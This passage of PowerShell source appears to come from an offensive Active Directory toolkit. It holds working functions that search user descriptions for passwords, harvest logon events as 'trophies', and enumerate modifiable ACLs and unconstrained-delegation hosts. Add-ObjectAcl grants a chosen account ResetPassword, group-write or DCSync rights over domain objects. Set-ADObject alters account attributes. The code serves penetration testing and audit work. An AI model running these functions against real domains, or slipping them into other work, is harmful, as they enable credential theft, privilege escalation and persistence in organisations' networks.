        Taken directly from @obscuresec's post:
            http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html

    .PARAMETER SearchTerm

        Term to search for, default of "pass".

    .PARAMETER SearchField

        User field to search, default of "description".

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER Domain

        Domain to search computer fields for, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Find-UserField -SearchField info -SearchTerm backup

        Find user accounts with "backup" in the "info" field.
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [String]
        $SearchTerm = 'pass',

        [String]
        $SearchField = 'description',

        [String]
        $ADSpath,

        [String]
        $Domain,

        [String]
        $DomainController,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )
 
    Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
}


filter Get-UserEvent {
<#
    .SYNOPSIS

        Dump and parse security events relating to an account logon (ID 4624)
        or a TGT request event (ID 4768). Intended to be used and tested on
        Windows 2008 Domain Controllers.
        Admin Reqd? YES

        Author: @sixdub

    .PARAMETER ComputerName

        The computer to get events from. Default: Localhost

    .PARAMETER EventType

        Either 'logon', 'tgt', or 'all'. Defaults: 'logon'

    .PARAMETER DateStart

        Filter out all events before this date. Default: 5 days

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local

    .LINK

        http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>

    Param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $ComputerName = $Env:ComputerName,

        [String]
        [ValidateSet("logon","tgt","all")]
        $EventType = "logon",

        [DateTime]
        $DateStart = [DateTime]::Today.AddDays(-5),

        [Management.Automation.PSCredential]
        $Credential
    )

    if($EventType.ToLower() -like "logon") {
        [Int32[]]$ID = @(4624)
    }
    elseif($EventType.ToLower() -like "tgt") {
        [Int32[]]$ID = @(4768)
    }
    else {
        [Int32[]]$ID = @(4624, 4768)
    }

    if($Credential) {
        Write-Verbose "Using alternative credentials"
        $Arguments = @{
            'ComputerName' = $ComputerName;
            'Credential' = $Credential;
            'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
            'ErrorAction' = 'SilentlyContinue';
        }
    }
    else {
        $Arguments = @{
            'ComputerName' = $ComputerName;
            'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
            'ErrorAction' = 'SilentlyContinue';            
        }
    }

    # grab all events matching our filter for the specified host
    Get-WinEvent @Arguments | ForEach-Object {

        if($ID -contains 4624) {    
            # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10)
            if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') {
                if($Matches) {
                    $LogonType = $Matches[0].trim()
                    $Matches = $Null
                }
            }
            else {
                $LogonType = ""
            }

            # interactive logons or domain logons
            if (($LogonType -eq 2) -or ($LogonType -eq 3)) {
                try {
                    # parse and store the account used and the address they came from
                    if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') {
                        if($Matches) {
                            $UserName = $Matches[0].split("`n")[2].split(":")[1].trim()
                            $Domain = $Matches[0].split("`n")[3].split(":")[1].trim()
                            $Matches = $Null
                        }
                    }
                    if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') {
                        if($Matches) {
                            $Address = $Matches[0].split("`n")[2].split(":")[1].trim()
                            $Matches = $Null
                        }
                    }

                    # only add if there was account information not for a machine or anonymous logon
                    if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) {
                        $LogonEventProperties = @{
                            'Domain' = $Domain
                            'ComputerName' = $ComputerName
                            'Username' = $UserName
                            'Address' = $Address
                            'ID' = '4624'
                            'LogonType' = $LogonType
                            'Time' = $_.TimeCreated
                        }
                        New-Object -TypeName PSObject -Property $LogonEventProperties
                    }
                }
                catch {
                    Write-Verbose "Error parsing event logs: $_"
                }
            }
        }
        if($ID -contains 4768) {
            # the TGT event type
            try {
                if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') {
                    if($Matches) {
                        $Username = $Matches[0].split("`n")[1].split(":")[1].trim()
                        $Domain = $Matches[0].split("`n")[2].split(":")[1].trim()
                        $Matches = $Null
                    }
                }

                if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') {
                    if($Matches) {
                        $Address = $Matches[0].split("`n")[1].split(":")[-1].trim()
                        $Matches = $Null
                    }
                }

                $LogonEventProperties = @{
                    'Domain' = $Domain
                    'ComputerName' = $ComputerName
                    'Username' = $UserName
                    'Address' = $Address
                    'ID' = '4768'
                    'LogonType' = ''
                    'Time' = $_.TimeCreated
                }

                New-Object -TypeName PSObject -Property $LogonEventProperties
            }
            catch {
                Write-Verbose "Error parsing event logs: $_"
            }
        }
    }
}


function Get-ObjectAcl {
<#
    .SYNOPSIS
        Returns the ACLs associated with a specific active directory object.

        Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.

    .PARAMETER SamAccountName

        Object name to filter for.        

    .PARAMETER Name

        Object name to filter for.

    .PARAMETER DistinguishedName

        Object distinguished name to filter for.

    .PARAMETER ResolveGUIDs

        Switch. Resolve GUIDs to their display names.

    .PARAMETER Filter

        A customized ldap filter string to use, e.g. "(description=*admin*)"
     
    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER ADSprefix

        Prefix to set for the searcher (like "CN=Sites,CN=Configuration")

    .PARAMETER RightsFilter

        Only return results with the associated rights, "All", "ResetPassword","WriteMembers"

    .PARAMETER Domain

        The domain to use for the query, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .EXAMPLE

        PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local
        
        Get the ACLs for the matt.admin user in the testlab.local domain

    .EXAMPLE

        PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs
        
        Get the ACLs for the matt.admin user in the testlab.local domain and
        resolve relevant GUIDs to their display names.

    .EXAMPLE

        PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs

        Enumerate the ACL permissions for all OUs in the domain.
#>

    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [String]
        $SamAccountName,

        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [String]
        $Name = "*",

        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [String]
        $DistinguishedName = "*",

        [Switch]
        $ResolveGUIDs,

        [String]
        $Filter,

        [String]
        $ADSpath,

        [String]
        $ADSprefix,

        [String]
        [ValidateSet("All","ResetPassword","WriteMembers")]
        $RightsFilter,

        [String]
        $Domain,

        [String]
        $DomainController,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200
    )

    begin {
        $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize 

        # get a GUID -> name mapping
        if($ResolveGUIDs) {
            $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize
        }
    }

    process {

        if ($Searcher) {

            if($SamAccountName) {
                $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"  
            }
            else {
                $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"  
            }
  
            try {
                $Results = $Searcher.FindAll()
                $Results | Where-Object {$_} | ForEach-Object {
                    $Object = [adsi]($_.path)

                    if($Object.distinguishedname) {
                        $Access = $Object.PsBase.ObjectSecurity.access
                        $Access | ForEach-Object {
                            $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]

                            if($Object.objectsid[0]){
                                $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
                            }
                            else {
                                $S = $Null
                            }
                            
                            $_ | Add-Member NoteProperty 'ObjectSID' $S
                            $_
                        }
                    }
                } | ForEach-Object {
                    if($RightsFilter) {
                        $GuidFilter = Switch ($RightsFilter) {
                            "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
                            "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
                            Default { "00000000-0000-0000-0000-000000000000"}
                        }
                        if($_.ObjectType -eq $GuidFilter) { $_ }
                    }
                    else {
                        $_
                    }
                } | ForEach-Object {
                    if($GUIDs) {
                        # if we're resolving GUIDs, map them them to the resolved hash table
                        $AclProperties = @{}
                        $_.psobject.properties | ForEach-Object {
                            if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) {
                                try {
                                    $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()]
                                }
                                catch {
                                    $AclProperties[$_.Name] = $_.Value
                                }
                            }
                            else {
                                $AclProperties[$_.Name] = $_.Value
                            }
                        }
                        New-Object -TypeName PSObject -Property $AclProperties
                    }
                    else { $_ }
                }
                $Results.dispose()
                $Searcher.dispose()
            }
            catch {
                Write-Warning $_
            }
        }
    }
}


function Add-ObjectAcl {
<#
    .SYNOPSIS

        Adds an ACL for a specific active directory object.
        
        AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3)
            https://adsecurity.org/?p=1906

        ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects.

        'ResetPassword' doesn't need to know the user's current password
        'WriteMembers' allows for the modification of group membership

    .PARAMETER TargetSamAccountName

        Target object name to filter for.        

    .PARAMETER TargetName

        Target object name to filter for.

    .PARAMETER TargetDistinguishedName

        Target object distinguished name to filter for.

    .PARAMETER TargetFilter

        A customized ldap filter string to use to find a target, e.g. "(description=*admin*)"

    .PARAMETER TargetADSpath

        The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

    .PARAMETER TargetADSprefix

        Prefix to set for the target searcher (like "CN=Sites,CN=Configuration")

    .PARAMETER PrincipalSID

        The SID of the principal object to add for access.

    .PARAMETER PrincipalName

        The name of the principal object to add for access.

    .PARAMETER PrincipalSamAccountName

        The samAccountName of the principal object to add for access.

    .PARAMETER Rights

        Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync"

    .PARAMETER Domain

        The domain to use for the target query, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .EXAMPLE

        Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john

        Grants 'john' all full access rights to the 'matt' account.

    .EXAMPLE

        Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword

        Grants 'john' the right to reset the password for the 'matt' account.

    .LINK

        https://adsecurity.org/?p=1906
        
        https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>

    [CmdletBinding()]
    Param (
        [String]
        $TargetSamAccountName,

        [String]
        $TargetName = "*",

        [Alias('DN')]
        [String]
        $TargetDistinguishedName = "*",

        [String]
        $TargetFilter,

        [String]
        $TargetADSpath,

        [String]
        $TargetADSprefix,

        [String]
        [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')]
        $PrincipalSID,

        [String]
        $PrincipalName,

        [String]
        $PrincipalSamAccountName,

        [String]
        [ValidateSet("All","ResetPassword","WriteMembers","DCSync")]
        $Rights = "All",

        [String]
        $RightsGUID,

        [String]
        $Domain,

        [String]
        $DomainController,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200
    )

    begin {
        $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize

        if($PrincipalSID) {
            $ResolvedPrincipalSID = $PrincipalSID
        }
        else {
            $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize
            
            if(!$Principal) {
                throw "Error resolving principal"
            }
            $ResolvedPrincipalSID = $Principal.objectsid
        }
        if(!$ResolvedPrincipalSID) {
            throw "Error resolving principal"
        }
    }

    process {

        if ($Searcher) {

            if($TargetSamAccountName) {
                $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"  
            }
            else {
                $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"  
            }
  
            try {
                $Results = $Searcher.FindAll()
                $Results | Where-Object {$_} | ForEach-Object {

                    # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects

                    $TargetDN = $_.Properties.distinguishedname

                    $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID)
                    $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
                    $ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
                    $ACEs = @()

                    if($RightsGUID) {
                        $GUIDs = @($RightsGUID)
                    }
                    else {
                        $GUIDs = Switch ($Rights) {
                            # ResetPassword doesn't need to know the user's current password
                            "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
                            # allows for the modification of group membership
                            "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
                            # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
                            # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
                            # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
                            #   when applied to a domain's ACL, allows for the use of DCSync
                            "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"}
                        }
                    }

                    if($GUIDs) {
                        foreach($GUID in $GUIDs) {
                            $NewGUID = New-Object Guid $GUID
                            $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
                            $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType
                        }
                    }
                    else {
                        # deault to GenericAll rights
                        $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"
                        $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType
                    }

                    Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)"

                    try {
                        # add all the new ACEs to the specified object
                        ForEach ($ACE in $ACEs) {
                            Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)"
                            $Object = [adsi]($_.path)
                            $Object.PsBase.ObjectSecurity.AddAccessRule($ACE)
                            $Object.PsBase.commitchanges()
                        }
                    }
                    catch {
                        Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_"
                    }
                }
                $Results.dispose()
                $Searcher.dispose()
            }
            catch {
                Write-Warning "Error: $_"
            }
        }
    }
}


function Invoke-ACLScanner {
<#
    .SYNOPSIS
        Searches for ACLs for specifable AD objects (default to all domain objects)
        with a domain sid of > -1000, and have modifiable rights.

        Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.

    .PARAMETER SamAccountName

        Object name to filter for.        

    .PARAMETER Name

        Object name to filter for.

    .PARAMETER DistinguishedName

        Object distinguished name to filter for.

    .PARAMETER Filter

        A customized ldap filter string to use, e.g. "(description=*admin*)"
     
    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER ADSprefix

        Prefix to set for the searcher (like "CN=Sites,CN=Configuration")

    .PARAMETER Domain

        The domain to use for the query, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ResolveGUIDs

        Switch. Resolve GUIDs to their display names.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .EXAMPLE

        PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv

        Enumerate all modifable ACLs in the current domain, resolving GUIDs to display 
        names, and export everything to a .csv
#>

    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $SamAccountName,

        [String]
        $Name = "*",

        [Alias('DN')]
        [String]
        $DistinguishedName = "*",

        [String]
        $Filter,

        [String]
        $ADSpath,

        [String]
        $ADSprefix,

        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $ResolveGUIDs,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200
    )

    # Get all domain ACLs with the appropriate parameters
    Get-ObjectACL @PSBoundParameters | ForEach-Object {
        # add in the translated SID for the object identity
        $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value)
        $_
    } | Where-Object {
        # check for any ACLs with SIDs > -1000
        try {
            # TODO: change this to a regex for speedup?
            [int]($_.IdentitySid.split("-")[-1]) -ge 1000
        }
        catch {}
    } | Where-Object {
        # filter for modifiable rights
        ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow"))
    }
}


filter Get-GUIDMap {
<#
    .SYNOPSIS

        Helper to build a hash table of [GUID] -> resolved names

        Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx

    .PARAMETER Domain
    
        The domain to use for the query, defaults to the current domain.

    .PARAMETER DomainController
    
        Domain controller to reflect LDAP queries through.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .LINK

        http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
#>

    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $Domain,

        [String]
        $DomainController,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200
    )

    $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}

    $SchemaPath = (Get-NetForest).schema.name

    $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize
    if($SchemaSearcher) {
        $SchemaSearcher.filter = "(schemaIDGUID=*)"
        try {
            $Results = $SchemaSearcher.FindAll()
            $Results | Where-Object {$_} | ForEach-Object {
                # convert the GUID
                $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
            }
            $Results.dispose()
            $SchemaSearcher.dispose()
        }
        catch {
            Write-Verbose "Error in building GUID map: $_"
        }
    }

    $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential
    if ($RightsSearcher) {
        $RightsSearcher.filter = "(objectClass=controlAccessRight)"
        try {
            $Results = $RightsSearcher.FindAll()
            $Results | Where-Object {$_} | ForEach-Object {
                # convert the GUID
                $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
            }
            $Results.dispose()
            $RightsSearcher.dispose()
        }
        catch {
            Write-Verbose "Error in building GUID map: $_"
        }
    }

    $GUIDs
}


function Get-NetComputer {
<#
    .SYNOPSIS

        This function utilizes adsisearcher to query the current AD context
        for current computer objects. Based off of Carlos Perez's Audit.psm1
        script in Posh-SecMod (link below).

    .PARAMETER ComputerName

        Return computers with a specific name, wildcards accepted.

    .PARAMETER SPN

        Return computers with a specific service principal name, wildcards accepted.

    .PARAMETER OperatingSystem

        Return computers with a specific operating system, wildcards accepted.

    .PARAMETER ServicePack

        Return computers with a specific service pack, wildcards accepted.

    .PARAMETER Filter

        A customized ldap filter string to use, e.g. "(description=*admin*)"

    .PARAMETER Printers

        Switch. Return only printers.

    .PARAMETER Ping

        Switch. Ping each host to ensure it's up before enumerating.

    .PARAMETER FullData

        Switch. Return full computer objects instead of just system names (the default).

    .PARAMETER Domain

        The domain to query for computers, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.
    
    .PARAMETER SiteName

        The AD Site name to search for computers.

    .PARAMETER Unconstrained

        Switch. Return computer objects that have unconstrained delegation.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetComputer
        
        Returns the current computers in current domain.

    .EXAMPLE

        PS C:\> Get-NetComputer -SPN mssql*
        
        Returns all MS SQL servers on the domain.

    .EXAMPLE

        PS C:\> Get-NetComputer -Domain testing
        
        Returns the current computers in 'testing' domain.

    .EXAMPLE

        PS C:\> Get-NetComputer -Domain testing -FullData
        
        Returns full computer objects in the 'testing' domain.

    .LINK

        https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1
#>

    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [String]
        $ComputerName = '*',

        [String]
        $SPN,

        [String]
        $OperatingSystem,

        [String]
        $ServicePack,

        [String]
        $Filter,

        [Switch]
        $Printers,

        [Switch]
        $Ping,

        [Switch]
        $FullData,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [String]
        $SiteName,

        [Switch]
        $Unconstrained,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {
        # so this isn't repeated if multiple computer names are passed on the pipeline
        $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential
    }

    process {

        if ($CompSearcher) {

            # if we're checking for unconstrained delegation
            if($Unconstrained) {
                Write-Verbose "Searching for computers with for unconstrained delegation"
                $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
            }
            # set the filters for the seracher if it exists
            if($Printers) {
                Write-Verbose "Searching for printers"
                # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)"
                $Filter += "(objectCategory=printQueue)"
            }
            if($SPN) {
                Write-Verbose "Searching for computers with SPN: $SPN"
                $Filter += "(servicePrincipalName=$SPN)"
            }
            if($OperatingSystem) {
                $Filter += "(operatingsystem=$OperatingSystem)"
            }
            if($ServicePack) {
                $Filter += "(operatingsystemservicepack=$ServicePack)"
            }
            if($SiteName) {
                $Filter += "(serverreferencebl=$SiteName)"
            }

            $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
            Write-Verbose "Get-NetComputer filter : '$CompFilter'"
            $CompSearcher.filter = $CompFilter

            try {
                $Results = $CompSearcher.FindAll()
                $Results | Where-Object {$_} | ForEach-Object {
                    $Up = $True
                    if($Ping) {
                        # TODO: how can these results be piped to ping for a speedup?
                        $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
                    }
                    if($Up) {
                        # return full data objects
                        if ($FullData) {
                            # convert/process the LDAP fields for each result
                            $Computer = Convert-LDAPProperty -Properties $_.Properties
                            $Computer.PSObject.TypeNames.Add('PowerView.Computer')
                            $Computer
                        }
                        else {
                            # otherwise we're just returning the DNS host name
                            $_.properties.dnshostname
                        }
                    }
                }
                $Results.dispose()
                $CompSearcher.dispose()
            }
            catch {
                Write-Warning "Error: $_"
            }
        }
    }
}


function Get-ADObject {
<#
    .SYNOPSIS

        Takes a domain SID and returns the user, group, or computer object
        associated with it.

    .PARAMETER SID

        The SID of the domain object you're querying for.

    .PARAMETER Name

        The Name of the domain object you're querying for.

    .PARAMETER SamAccountName

        The SamAccountName of the domain object you're querying for. 

    .PARAMETER Domain

        The domain to query for objects, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER Filter

        Additional LDAP filter string for the query.

    .PARAMETER ReturnRaw

        Switch. Return the raw object instead of translating its properties.
        Used by Set-ADObject to modify object properties.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110"
        
        Get the domain object associated with the specified SID.
        
    .EXAMPLE

        PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local"
        
        Get the AdminSDHolder object for the testlab.local domain.
#>

    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $SID,

        [String]
        $Name,

        [String]
        $SamAccountName,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [String]
        $Filter,

        [Switch]
        $ReturnRaw,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )
    process {
        if($SID) {
            # if a SID is passed, try to resolve it to a reachable domain name for the searcher
            try {
                $Name = Convert-SidToName $SID
                if($Name) {
                    $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical
                    if($Canonical) {
                        $Domain = $Canonical.split("/")[0]
                    }
                    else {
                        Write-Warning "Error resolving SID '$SID'"
                        return $Null
                    }
                }
            }
            catch {
                Write-Warning "Error resolving SID '$SID' : $_"
                return $Null
            }
        }

        $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

        if($ObjectSearcher) {
            if($SID) {
                $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"
            }
            elseif($Name) {
                $ObjectSearcher.filter = "(&(name=$Name)$Filter)"
            }
            elseif($SamAccountName) {
                $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)"
            }

            $Results = $ObjectSearcher.FindAll()
            $Results | Where-Object {$_} | ForEach-Object {
                if($ReturnRaw) {
                    $_
                }
                else {
                    # convert/process the LDAP fields for each result
                    Convert-LDAPProperty -Properties $_.Properties
                }
            }
            $Results.dispose()
            $ObjectSearcher.dispose()
        }
    }
}


function Set-ADObject {
<#
    .SYNOPSIS

        Takes a SID, name, or SamAccountName to query for a specified
        domain object, and then sets a specified 'PropertyName' to a
        specified 'PropertyValue'.

    .PARAMETER SID

        The SID of the domain object you're querying for.

    .PARAMETER Name

        The Name of the domain object you're querying for.

    .PARAMETER SamAccountName

        The SamAccountName of the domain object you're querying for. 

    .PARAMETER Domain

        The domain to query for objects, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER Filter

        Additional LDAP filter string for the query.

    .PARAMETER PropertyName

        The property name to set.

    .PARAMETER PropertyValue

        The value to set for PropertyName

    .PARAMETER PropertyXorValue

        Integer value to binary xor (-bxor) with the current int value.

    .PARAMETER ClearValue

        Switch. Clear the value of PropertyName

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0
        
        Set the countrycode for matt.admin to 0

    .EXAMPLE

        PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536
        
        Set the password not to expire on matt.admin
#>

    [CmdletBinding()]
    Param (
        [String]
        $SID,

        [String]
        $Name,

        [String]
        $SamAccountName,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $Filter,

        [Parameter(Mandatory = $True)]
        [String]
        $PropertyName,

        $PropertyValue,

        [Int]
        $PropertyXorValue,

        [Switch]
        $ClearValue,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    $Arguments = @{
        'SID' = $SID
        'Name' = $Name
        'SamAccountName' = $SamAccountName
        'Domain' = $Domain
        'DomainController' = $DomainController
        'Filter' = $Filter
        'PageSize' = $PageSize
        'Credential' = $Credential
    }
    # splat the appropriate arguments to Get-ADObject
    $RawObject = Get-ADObject -ReturnRaw @Arguments
    
    try {
        # get the modifiable object for this search result
        $Entry = $RawObject.GetDirectoryEntry()
        
        if($ClearValue) {
            Write-Verbose "Clearing value"
